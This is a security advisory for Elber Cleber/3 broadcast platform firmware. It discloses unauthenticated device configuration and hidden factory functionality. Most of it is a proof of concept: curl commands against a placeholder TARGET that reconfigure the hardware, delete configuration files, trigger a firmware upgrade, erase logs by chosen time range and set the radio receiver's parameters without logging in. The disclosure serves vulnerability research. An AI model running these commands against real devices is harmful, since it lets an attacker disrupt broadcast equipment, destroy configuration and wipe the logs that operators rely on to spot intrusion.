Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Insecure Direct Object Reference

Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Device Config

Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.0.0 Revision 7304
1.0.0 Revision 7284
1.0.0 Revision 6505
1.0.0 Revision 6332
1.0.0 Revision 6258
XS2DAB v1.50 rev 6267

Summary: Cleber offers a powerful, flexible and modular hardware and
software platform for broadcasting and contribution networks where
customers can install up to six boards with no limitations in terms
of position or number. Based on a Linux embedded OS, it detects the
presence of the boards and shows the related control interface to the
user, either through web GUI and Touchscreen TFT display. Power supply
can be single (AC and/or DC) or dual (hot swappable for redundancy);
customer may chose between two ranges for DC sources, that is 22-65
or 10-36 Vdc for site or DSNG applications.

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
embOS/IP

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2024-5817
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5817.php

18.08.2023

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# Config fan
$ curl ‘http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp=’
Configuration applied

# Delete config
$ curl ‘http://TARGET/json_data/conf_cmd?index=4&cmd=2’
File delete successfully

# Launch upgrade
$ curl ‘http://TARGET/json_data/conf_cmd?index=4&cmd=1’
Upgrade launched Successfully

# Log erase
$ curl ‘http://TARGET/json_data/erase_log.js?until=-2’
Logs erased

# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month

# Set RX config
$ curl ‘http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0’
RX Config Applied Successfully

# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()

# Etc.